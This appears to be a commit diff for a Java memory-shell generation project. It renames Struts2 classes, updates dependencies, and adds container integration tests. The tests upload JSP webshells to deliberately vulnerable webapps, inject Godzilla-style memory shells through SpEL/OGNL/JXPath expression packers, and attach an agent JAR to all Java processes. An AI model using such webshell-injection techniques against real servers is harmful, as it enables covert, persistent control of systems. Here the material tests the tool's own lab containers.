throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer()); throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
} }
@@ -10,7 +10,7 @@ import java.util.Set;
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 UndertowPayara 识别为 GlassFish * HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 UndertowPayara 识别为 GlassFish
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish * 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
* 额外需要注意: * 额外需要注意:
* 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型 * 1. 不会识别 SpringWebMVC Struts2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序 * 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
* *
* @author ReaJason * @author ReaJason
@@ -11,10 +11,10 @@ import java.lang.reflect.Method;
* @author ReaJason * @author ReaJason
* @since 2025/12/8 * @since 2025/12/8
*/ */
public class Struct2Writer { public class Struts2Writer {
private static boolean ok = false; private static boolean ok = false;
public Struct2Writer() { public Struts2Writer() {
if (ok) { if (ok) {
return; return;
} }
@@ -44,8 +44,12 @@ public class TomcatWriter {
try { try {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global"); requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException ignored) {
try {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "endpoint"), "handler"), "global");
}catch (NoSuchFieldException ignored2) {
continue; continue;
} }
}
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) { } else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable // Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
try { try {
@@ -27,9 +27,15 @@ public class TongWebWriter {
String threadName = thread.getName(); String threadName = thread.getName();
if (threadName.contains("Poller") // TongWeb6 if (threadName.contains("Poller") // TongWeb6
|| threadName.contains("Acceptor") // TongWeb7 || threadName.contains("Acceptor") // TongWeb7
|| threadName.contains("AsyncTimeout") // TongWeb 7.0.4.9
) { ) {
try { try {
Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global"); Object requestGroupInfo = null;
try {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
} catch (NoSuchFieldException ignored1) {
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "endpoint"), "handler"), "global");
}
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors"); List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
for (Object processor : processors) { for (Object processor : processors) {
String workerThreadName = (String) getFieldValue(processor, "workerThreadName"); String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
File diff suppressed because one or more lines are too long
+18 -12
View File
@@ -1,5 +1,5 @@
[versions] [versions]
asm = "9.9.1" # https://mvnrepository.com/artifact/org.ow2.asm/asm asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改 jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
bcel = "5.2" bcel = "5.2"
javax-servlet-api = "3.0.1" javax-servlet-api = "3.0.1"
@@ -11,33 +11,39 @@ spring-webflux = "5.3.24"
reactor-netty = "1.1.25" reactor-netty = "1.1.25"
jackson = "2.19.0" jackson = "2.19.0"
jetbrains-annotations = "26.0.2" jetbrains-annotations = "26.0.2"
alibaba-dubbo = "2.6.12"
apache-dubbo = "2.7.6"
tomcat = "8.5.85"
byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
mockito = "5.21.0" mockito = "5.21.0"
hamcrest = "3.0" hamcrest = "3.0"
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter junit-jupiter = "5.14.4" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
junit-pioneer = "2.3.0" junit-pioneer = "2.3.0"
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher junit-platform = "1.14.4" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers testcontainers = "2.0.5" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
[libraries] [libraries]
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
apache-dubbo = { module = "org.apache.dubbo:dubbo", version.ref = "apache-dubbo" }
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" } byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "tomcat" }
asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" } asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
jna = { module = "net.java.dev.jna:jna", version.ref = "jna" } jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" } jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" } javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" } jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" } javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"} jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api" }
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"} jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api" }
spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" } spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" } spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" } reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
@@ -68,5 +74,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"] testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins] [plugins]
lombok = { id = "io.freefair.lombok", version = "9.2.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok lombok = { id = "io.freefair.lombok", version = "9.5.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
shadow = { id = "com.gradleup.shadow", version = "9.3.1"} # https://plugins.gradle.org/plugin/com.gradleup.shadow shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
@@ -2,6 +2,8 @@ services:
was700: was700:
image: reajason/websphere:7.0.0.21 image: reajason/websphere:7.0.0.21
container_name: was700 container_name: was700
environment:
JAVA_OPTS: -Xshareclasses:none
ports: ports:
- "9080:9080" - "9080:9080"
- "9060:9060" - "9060:9060"
@@ -0,0 +1,12 @@
services:
was905:
image: reajason/websphere:9.0.5.17
container_name: was905
ports:
- "9080:9080"
- "9060:9060"
- "5005:5005"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war
@@ -129,7 +129,7 @@ public abstract class AbstractContainerTest {
} }
@ParameterizedTest @ParameterizedTest
@EnumSource(names = {"ClassLoaderJSP", "DefineClassJSP", "JSPX"}) @EnumSource(names = {"ClassLoaderJSP", "ClassLoaderJSPUnicode", "DefineClassJSP", "DefineClassJSPUnicode", "JSPX", "JSPXUnicode"})
void testJspPackers(Packers packer) { void testJspPackers(Packers packer) {
ContainerTestConfig config = getConfig(); ContainerTestConfig config = getConfig();
if (config.isEnableJspPackerTest()) { if (config.isEnableJspPackerTest()) {
@@ -16,7 +16,7 @@ public class ContainerTool {
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath()); public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath()); public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666); public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath()); public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath()); public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath()); public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath());
@@ -25,6 +25,7 @@ public class ContainerTool {
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath()); public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath()); public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath()); public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath()); public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath(); public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
@@ -400,14 +400,14 @@ public class ShellAssertion {
public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) { public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) {
switch (packer) { switch (packer) {
case JSP, ClassLoaderJSP, DefineClassJSP -> { case JSP, ClassLoaderJSP, ClassLoaderJSPUnicode, DefineClassJSP, DefineClassJSPUnicode -> {
String uploadEntry = url + "/upload"; String uploadEntry = url + "/upload";
String filename = shellType + shellTool + packer + ".jsp"; String filename = shellType + shellTool + packer + ".jsp";
String shellUrl = url + "/" + filename; String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl); VulTool.urlIsOk(shellUrl);
} }
case JSPX -> { case JSPX, JSPXUnicode -> {
String uploadEntry = url + "/upload"; String uploadEntry = url + "/upload";
String filename = shellType + shellTool + packer + ".jspx"; String filename = shellType + shellTool + packer + ".jspx";
String shellUrl = url + "/" + filename; String shellUrl = url + "/" + filename;
@@ -503,4 +503,60 @@ public class ShellAssertion {
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]") containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
)); ));
} }
@SneakyThrows
public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer<?> appContainer) {
String shellTool = ShellTool.Command;
Packers packer = Packers.AgentJarWithJREAttacher;
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(),
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
// Pack and copy to container
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
Path tempJar = Files.createTempFile("temp", "jar");
Files.write(tempJar, bytes);
String jarPath = "/listProcessTest.jar";
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
FileUtils.deleteQuietly(tempJar.toFile());
// Test 1: List processes (no args)
Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath);
String listStdout = listResult.getStdout();
if (listStdout.contains("executable file not found")) {
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath);
listStdout = listResult.getStdout();
if (listStdout.contains("no such file or directory")) {
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath);
listStdout = listResult.getStdout();
}
}
log.info("list processes output:\n{}", listStdout);
System.out.println("list stderr: " + listResult.getStderr());
assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo("")));
assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found")));
// Test 2: Attach all
Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all");
String attachStdout = attachResult.getStdout();
if (attachStdout.contains("executable file not found")) {
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all");
attachStdout = attachResult.getStdout();
if (attachStdout.contains("no such file or directory")) {
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath, "all");
attachStdout = attachResult.getStdout();
}
}
log.info("attach all output:\n{}", attachStdout);
System.out.println("attach all stderr: " + attachResult.getStderr());
assertThat("Attach all should complete with Success", attachStdout, containsString("Success"));
// Test 3: Verify shell injection was successful
String paramName = ((CommandConfig) shellToolConfig).getParamName();
commandIsOk(shellUrl, shellType, paramName, "id");
}
} }
@@ -0,0 +1,90 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
public class SpringBoot359ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
.imageName("eclipse-temurin:17.0.17_10-jdk")
.jarFile(ContainerTool.springBoot359JarFile)
.jakarta(true)
.jarDeployPath("/app/app.jar")
.command("java -jar /app/app.jar")
.server(Server.SpringWebMvc)
.pidScript(ContainerTool.springbootPid)
.targetJdkVersion(Opcodes.V17)
.enableJspPackerTest(false)
.contextPath("")
.healthCheckPath("/test")
.supportedShellTypes(List.of(
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
))
.testPackers(List.of(Packers.H2))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
))
.build();
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
.imageName("springboot3")
.server(Server.Tomcat)
.targetJdkVersion(Opcodes.V17)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
// ShellType.LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.H2))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
static Stream<Arguments> tomcatCasesProvider() {
return generateTestCases(TOMCAT_CONFIG);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("tomcatCasesProvider")
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
}
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,71 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
@Slf4j
public class SpringBoot359ExpressionContainerTest {
public static final String imageName = "springboot3";
@Container
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk")
.withCopyFileToContainer(springBoot359JarFile, "/app/app.jar")
.withCommand("java -jar /app/app.jar")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
);
}
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
}
}
@@ -1,7 +1,6 @@
package com.reajason.javaweb.integration.memshell.springwebmvc; package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
@@ -14,7 +13,6 @@ import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.integration.memshell.struct2; package com.reajason.javaweb.integration.memshell.struts2;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
@@ -19,11 +19,11 @@ import java.util.List;
* @since 2024/12/4 * @since 2024/12/4
*/ */
@Testcontainers @Testcontainers
public class Struct2ContainerTest extends AbstractContainerTest { public class Struts2ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
.imageName("tomcat:8-jre8") .imageName("tomcat:8-jre8")
.server(Server.Struct2) .server(Server.Struts2)
.warFile(ContainerTool.struct2WarFile) .warFile(ContainerTool.struts2WarFile)
.warDeployPath("/usr/local/tomcat/webapps/app.war") .warDeployPath("/usr/local/tomcat/webapps/app.war")
.pidScript(ContainerTool.tomcatPid) .pidScript(ContainerTool.tomcatPid)
.enableJspPackerTest(false) .enableJspPackerTest(false)
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -59,4 +61,9 @@ public class Tomcat10ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -59,4 +61,9 @@ public class Tomcat11ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -58,4 +60,9 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }

Some files were not shown because too many files have changed in this diff Show More